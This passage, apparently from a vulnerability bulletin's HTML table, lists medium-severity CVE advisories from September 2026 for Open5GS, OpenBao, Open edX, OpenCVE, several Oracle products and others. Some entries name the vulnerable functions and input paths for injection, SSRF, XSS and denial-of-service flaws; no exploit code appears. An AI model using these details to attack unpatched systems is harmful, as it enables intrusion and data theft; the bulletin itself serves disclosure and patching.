&lt;td&gt;A security flaw has been discovered in Open5GS up to 2.7.7. Affected by this vulnerability is an unknown functionality of the file lib/pfcp/handler.c of the component PFCP Message Handler. Performing a manipulation results in denial of service. Remote exploitation of the attack is possible. The exploit has been released to the public and may be used for attacks. The patch is named 028e1dbb5e3271035ccee906ef417a97fc523f71. Applying a patch is the recommended action to fix this issue. CVE-2025-29339 describes a different assertion failure vulnerability in Open5GS UPF.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91855&quot; target=&quot;_blank&quot;&gt;CVE-2026-91855&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Open5GS--Open5GS&lt;/td&gt;
&lt;td&gt;A vulnerability has been found in Open5GS up to 2.8.0. Affected by this issue is the function smf_n4_handle_session_report_request of the file src/smf/n4-handler.c of the component PFCP Session Report Request Handler. The manipulation leads to reachable assertion. The attack may be initiated remotely. The identifier of the patch is e5f0c06d0f2d9613b003daa1cfa3ba8a4bd157e9. It is suggested to install a patch to address this issue.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92416&quot; target=&quot;_blank&quot;&gt;CVE-2026-92416&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;OpenBankProject--OBP-API&lt;/td&gt;
&lt;td&gt;A vulnerability has been found in OpenBankProject OBP-API up to 1.10.1. This impacts the function KryoInjection.invert of the file obp-api/src/main/scala/code/api/cache/Redis.scala of the component Kryo Handler. Such manipulation leads to deserialization. The attack can be launched remotely. A high complexity level is associated with this attack. The exploitability is said to be difficult. The exploit has been disclosed to the public and may be used. The project was informed of the problem early through an issue report but has not responded yet.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;4.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91842&quot; target=&quot;_blank&quot;&gt;CVE-2026-91842&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;openbao--openbao&lt;/td&gt;
&lt;td&gt;OpenBao is an open source identity-based secrets management system. Prior to 2.5.5, OpenBao used EscapeLDAPValue, an RFC 4514 distinguished-name escaping function, where RFC 4515 LDAP search-filter escaping was required in sdk/helper/ldaputil/client.go GetUserDN. With the LDAP authentication backend configured for an Active Directory UPNDomain path or UserDN and UserAttr binding, an attacker-controlled username containing filter metacharacters could alter the search predicate and select a different directory entry because EscapeLDAPValue does not neutralize the characters handled by ldap.EscapeFilter. A resulting token could be associated with another LDAP identity and gain access to secrets, policies, or modification capabilities assigned to that identity. This issue is fixed in version 2.5.5.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;6.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-55770&quot; target=&quot;_blank&quot;&gt;CVE-2026-55770&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;openbao--openbao&lt;/td&gt;
&lt;td&gt;OpenBao is an open source identity-based secrets management system. Prior to 2.5.5, an authenticated OpenBao caller with write access to transit/keys/* could terminate the server process by setting derived to true while the type parameter selected rsa-, ecdsa-, or ed25519. The Transit policy creation path in builtin/logical/transit/backend.go and sdk/helper/keysutil/policy.go could reach an error path that double-unlocked a mutex while handling this invalid asymmetric derived-key combination, causing a panic, no HTTP response, process exit, and denial of service. JSON and HCL key-creation requests can express the triggering combination. This issue is fixed in version 2.5.5.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-55776&quot; target=&quot;_blank&quot;&gt;CVE-2026-55776&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;OpenClaw--OpenClaw&lt;/td&gt;
&lt;td&gt;A flaw has been found in OpenClaw up to 2026.9.5. Affected is the function createCanvasHostHandler of the file extensions/canvas/src/host/server.ts of the component Canvas Host Route. Executing a manipulation can lead to denial of service. The attack can be launched remotely. The exploit has been published and may be used. Fix suggestion&#039;s &quot;streaming/size-limit&quot; was never shipped - latest 2026.9.5 still buffers the whole file via readFile() (src/canvas/serve.runtime.ts:17,114), unlike the sibling WS path which caps at 64KB. The vendor was contacted early about this disclosure.&lt;/td&gt;
&lt;td&gt;2026-09-20&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-94094&quot; target=&quot;_blank&quot;&gt;CVE-2026-94094&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;opencve--opencve&lt;/td&gt;
&lt;td&gt;OpenCVE is a vulnerability intelligence platform. Prior to 3.0.0, OpenCVE notification testing for Webhook and Slack integrations does not sufficiently validate user-supplied HTTP or HTTPS destinations. An authenticated user with permission to configure notification channels can trigger requests to hosts reachable from the OpenCVE server, including internal network resources, localhost interfaces, link-local addresses, and cloud metadata services, and retrieve information from reachable HTTP services. This issue is fixed in version 3.0.0.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-62282&quot; target=&quot;_blank&quot;&gt;CVE-2026-62282&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;opencve--opencve&lt;/td&gt;
&lt;td&gt;OpenCVE before 3.1.0 fails to properly scope the organizations API endpoint to the token&#039;s organization, instead returning the token creator&#039;s memberships. Attackers with organization-scoped tokens can list and retrieve every organization their creator belongs to, bypassing intended token isolation boundaries.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92764&quot; target=&quot;_blank&quot;&gt;CVE-2026-92764&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;openedx--openedx-platform&lt;/td&gt;
&lt;td&gt;Open edX Platform enables the authoring and delivery of online learning at any scale. From Redwood until Ulmo and Verawood.1, the add_additional_attributes_to_notifications function in openedx/core/djangoapps/notifications/email/utils.py assigns notification content without sanitizing discussion-title values produced by get_notification_content in openedx/core/djangoapps/notifications/base_notification.py. An enrolled student can place CSS-capable markup in the post_title value supplied by lms/djangoapps/discussion/rest_api/discussions_notifications.py. Digest and batched-email rendering then passes that value through openedx/core/djangoapps/notifications/templates/notifications/digest_content.html as safe HTML, allowing email-open tracking and content spoofing or phishing when another learner opens a CSS-rendering client. The immediate-email path is not affected because it strips title markup and renders a separately sanitized body. This issue is fixed in Ulmo and Verawood.1.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;6.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-85271&quot; target=&quot;_blank&quot;&gt;CVE-2026-85271&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;openedx--openedx-platform&lt;/td&gt;
&lt;td&gt;Open edX Platform enables the authoring and delivery of online learning at any scale. From Aspen.1 until Ulmo and Verawood.1, openedx/core/lib/extract_archive.py uses _is_bad_path to validate safe_extractall targets by comparing resolved path strings with startswith instead of comparing path components. A course author or staff user with course import permission can submit a crafted .tar.gz archive through the import_olx flow initiated by cms.djangoapps.contentstore.views.import_export.import_handler. An archive member can therefore escape into a sibling course staging directory whose name shares the attacker&#039;s base64 directory prefix, causing limited cross-tenant file corruption. Zip archives are not practically affected because ZipFile.extractall strips parent traversal segments, and the advisory does not establish arbitrary filesystem writes, file reads, or direct code execution. This issue is fixed in Ulmo and Verawood.1.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-85272&quot; target=&quot;_blank&quot;&gt;CVE-2026-85272&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;openfga--openfga&lt;/td&gt;
&lt;td&gt;OpenFGA is an authorization and permission engine built for developers. Prior to 1.18.1, the ListUsers API could return a user that should have been excluded when an authorization relation used an intersection containing a base but not excluded operand, the base was granted through a type-bound public wildcard, and the excluded user also had a concrete tuple through another intersection operand. In pkg/server/commands/listusers/list_users_rpc.go, expandIntersection counted the concrete tuple and wildcard without first rejecting entries in excludedUsersMap. Applications that used ListUsers to enumerate or enforce access could therefore treat an excluded user as authorized. This issue is fixed in version 1.18.1.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-61709&quot; target=&quot;_blank&quot;&gt;CVE-2026-61709&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;opengoofy--hippo4j&lt;/td&gt;
&lt;td&gt;Hippo4j through 1.5.0 contains a server-side request forgery vulnerability in four ThreadPoolController endpoints that fail to validate the clientAddress parameter. Authenticated attackers can supply arbitrary hostnames and ports to trigger outbound GET requests to internal networks and cloud metadata services.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92569&quot; target=&quot;_blank&quot;&gt;CVE-2026-92569&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;OpenIdentityPlatform--OpenAM&lt;/td&gt;
&lt;td&gt;Open Access Management (OpenAM) is an access management solution. From 13.0.0 until 16.1.2, the OAuth2 authorize endpoint&#039;s display=wap consent page reflects request-derived values through ConsentRequiredResource and wap/authorize.ftl without HTML escaping. An attacker can induce a user with an active OpenAM session to follow a crafted authorization link and execute JavaScript in the OpenAM origin, enabling session or cookie theft, CSRF-token disclosure, and actions with the victim&#039;s privileges. At least one registered OAuth2 client is required, but the attacker does not need to control that client. This issue is fixed in version 16.1.2.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;6.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-62280&quot; target=&quot;_blank&quot;&gt;CVE-2026-62280&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Openpanel-dev--openpanel&lt;/td&gt;
&lt;td&gt;OpenPanel through commit bad75bdd fails to escape property keys in ClickHouse SQL queries, allowing authenticated users to inject boolean SQL terms. Attackers can supply crafted filter names to bypass project isolation and access metrics from other projects.&lt;/td&gt;
&lt;td&gt;2026-09-19&lt;/td&gt;
&lt;td width:&gt;5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93983&quot; target=&quot;_blank&quot;&gt;CVE-2026-93983&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Openpanel-dev--openpanel&lt;/td&gt;
&lt;td&gt;OpenPanel tracking API through commit bad75bddc74d12d36cfb843f4531d3b830a8d994 fails to verify client secret cryptographic hash before authorizing revenue events and bot filtering. Attackers with only a public client ID can supply arbitrary dummy secrets to inject forged revenue metrics and bypass bot detection filters.&lt;/td&gt;
&lt;td&gt;2026-09-19&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93984&quot; target=&quot;_blank&quot;&gt;CVE-2026-93984&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;openshift-metal3--bmctest&lt;/td&gt;
&lt;td&gt;In BMCtest, Ironic is started without authentication and TLS for the duration of the test.&amp;nbsp;Exploiting the problem requires winning the race with bmctest itself, which reduces the attack window and significantly increases its complexity.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-71568&quot; target=&quot;_blank&quot;&gt;CVE-2026-71568&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Helidon&lt;/td&gt;
&lt;td&gt;Vulnerability in the Helidon product of Oracle Fusion Middleware (component: helidon-integrations-neo4j). Supported versions that are affected are 3.0.0-3.2.20 and 4.0.0-4.5.4. Difficult to exploit vulnerability allows unauthenticated attacker with access to the physical communication segment attached to the hardware where the Helidon executes to compromise Helidon. Successful attacks of this vulnerability can result in unauthorized creation, deletion or modification access to critical data or all Helidon accessible data as well as unauthorized access to critical data or complete access to all Helidon accessible data. CVSS 3.1 Base Score 6.8 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;6.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83278&quot; target=&quot;_blank&quot;&gt;CVE-2026-83278&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Helidon&lt;/td&gt;
&lt;td&gt;Vulnerability in the Helidon product of Oracle Fusion Middleware (component: LRA). Supported versions that are affected are 4.0.0-4.5.4. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Helidon. Successful attacks of this vulnerability can result in unauthorized update, insert or delete access to some of Helidon accessible data as well as unauthorized read access to a subset of Helidon accessible data. CVSS 3.1 Base Score 6.5 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83460&quot; target=&quot;_blank&quot;&gt;CVE-2026-83460&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Helidon&lt;/td&gt;
&lt;td&gt;Vulnerability in the Helidon product of Oracle Fusion Middleware (component: JSON). Supported versions that are affected are 4.0.0-4.5.4. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Helidon. Successful attacks of this vulnerability can result in unauthorized ability to cause a partial denial of service (partial DOS) of Helidon. CVSS 3.1 Base Score 5.3 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83458&quot; target=&quot;_blank&quot;&gt;CVE-2026-83458&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Helidon&lt;/td&gt;
&lt;td&gt;Vulnerability in the Helidon product of Oracle Fusion Middleware (component: helidon-media-multipart). Supported versions that are affected are 3.0.0-3.2.20. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Helidon. Successful attacks of this vulnerability can result in unauthorized ability to cause a partial denial of service (partial DOS) of Helidon. CVSS 3.1 Base Score 5.3 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83459&quot; target=&quot;_blank&quot;&gt;CVE-2026-83459&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Helidon&lt;/td&gt;
&lt;td&gt;Vulnerability in the Helidon product of Oracle Fusion Middleware (component: WebSocket). Supported versions that are affected are 4.0.0-4.5.4. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Helidon. Successful attacks of this vulnerability can result in unauthorized ability to cause a partial denial of service (partial DOS) of Helidon. CVSS 3.1 Base Score 5.3 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;5.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83480&quot; target=&quot;_blank&quot;&gt;CVE-2026-83480&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Helidon&lt;/td&gt;
&lt;td&gt;Vulnerability in the Helidon product of Oracle Fusion Middleware (component: helidon-microprofile-security). Supported versions that are affected are 4.0.0-4.5.4. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Helidon. Successful attacks of this vulnerability can result in unauthorized update, insert or delete access to some of Helidon accessible data as well as unauthorized read access to a subset of Helidon accessible data. CVSS 3.1 Base Score 5.4 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;5.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83488&quot; target=&quot;_blank&quot;&gt;CVE-2026-83488&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Agile PLM&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Agile PLM product of Oracle Supply Chain (component: Application Server). The supported version that is affected is 9.3.6. Difficult to exploit vulnerability allows unauthenticated attacker with access to the physical communication segment attached to the hardware where the Oracle Agile PLM executes to compromise Oracle Agile PLM. Successful attacks of this vulnerability can result in unauthorized creation, deletion or modification access to critical data or all Oracle Agile PLM accessible data as well as unauthorized access to critical data or complete access to all Oracle Agile PLM accessible data. CVSS 3.1 Base Score 6.8 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;6.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87252&quot; target=&quot;_blank&quot;&gt;CVE-2026-87252&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Agile PLM&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Agile PLM product of Oracle Supply Chain (component: Web Client). The supported version that is affected is 9.3.6. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Agile PLM. Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in Oracle Agile PLM, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in unauthorized update, insert or delete access to some of Oracle Agile PLM accessible data as well as unauthorized read access to a subset of Oracle Agile PLM accessible data. CVSS 3.1 Base Score 6.1 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;6.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87253&quot; target=&quot;_blank&quot;&gt;CVE-2026-87253&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Agile PLM MCAD Connector&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Agile PLM MCAD Connector product of Oracle Supply Chain (component: CAX Client). The supported version that is affected is 3.6. Easily exploitable vulnerability allows low privileged attacker with logon to the infrastructure where Oracle Agile PLM MCAD Connector executes to compromise Oracle Agile PLM MCAD Connector. Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle Agile PLM MCAD Connector accessible data. CVSS 3.1 Base Score 5.5 (Confidentiality impacts). CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;5.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83274&quot; target=&quot;_blank&quot;&gt;CVE-2026-83274&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Agile PLM MCAD Connector&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Agile PLM MCAD Connector product of Oracle Supply Chain (component: CAX Client). The supported version that is affected is 3.6. Easily exploitable vulnerability allows low privileged attacker with logon to the infrastructure where Oracle Agile PLM MCAD Connector executes to compromise Oracle Agile PLM MCAD Connector. Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle Agile PLM MCAD Connector accessible data. CVSS 3.1 Base Score 5.5 (Confidentiality impacts). CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;5.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83279&quot; target=&quot;_blank&quot;&gt;CVE-2026-83279&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Application Object Library&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Application Object Library product of Oracle E-Business Suite (component: Core). Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Application Object Library. Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle Application Object Library accessible data. CVSS 3.1 Base Score 6.5 (Confidentiality impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83175&quot; target=&quot;_blank&quot;&gt;CVE-2026-83175&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Assets&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Assets product of Oracle E-Business Suite (component: Internal Operations). Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Assets. Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle Assets accessible data. CVSS 3.1 Base Score 6.5 (Confidentiality impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83443&quot; target=&quot;_blank&quot;&gt;CVE-2026-83443&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Coherence&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Coherence product of Oracle Fusion Middleware (component: Core). The supported version that is affected is 15.1.1.0.0. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Coherence. While the vulnerability is in Oracle Coherence, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle Coherence accessible data. CVSS 3.1 Base Score 6.3 (Confidentiality impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;6.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83354&quot; target=&quot;_blank&quot;&gt;CVE-2026-83354&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Coherence&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Coherence product of Oracle Fusion Middleware (component: Core). Supported versions that are affected are 12.2.1.4.0, 14.1.1.0.0, 14.1.2.0.0 and 15.1.1.0.0. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Coherence. Successful attacks of this vulnerability can result in unauthorized ability to cause a partial denial of service (partial DOS) of Oracle Coherence. CVSS 3.1 Base Score 4.3 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;4.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83416&quot; target=&quot;_blank&quot;&gt;CVE-2026-83416&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Commerce Guided Search / Oracle Commerce Experience Manager&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Commerce Guided Search / Oracle Commerce Experience Manager product of Oracle Commerce (component: Forge). The supported version that is affected is 11.4.0. Difficult to exploit vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Commerce Guided Search / Oracle Commerce Experience Manager. Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle Commerce Guided Search / Oracle Commerce Experience Manager accessible data and unauthorized ability to cause a partial denial of service (partial DOS) of Oracle Commerce Guided Search / Oracle Commerce Experience Manager. CVSS 3.1 Base Score 6.5 (Confidentiality and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:L).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83250&quot; target=&quot;_blank&quot;&gt;CVE-2026-83250&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Commerce Guided Search / Oracle Commerce Experience Manager&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Commerce Guided Search / Oracle Commerce Experience Manager product of Oracle Commerce (component: Forge). The supported version that is affected is 11.4.0. Difficult to exploit vulnerability allows unauthenticated attacker with network access via TLS to compromise Oracle Commerce Guided Search / Oracle Commerce Experience Manager. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of Oracle Commerce Guided Search / Oracle Commerce Experience Manager and unauthorized read access to a subset of Oracle Commerce Guided Search / Oracle Commerce Experience Manager accessible data. CVSS 3.1 Base Score 6.5 (Confidentiality and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;6.5&lt;/td&gt;
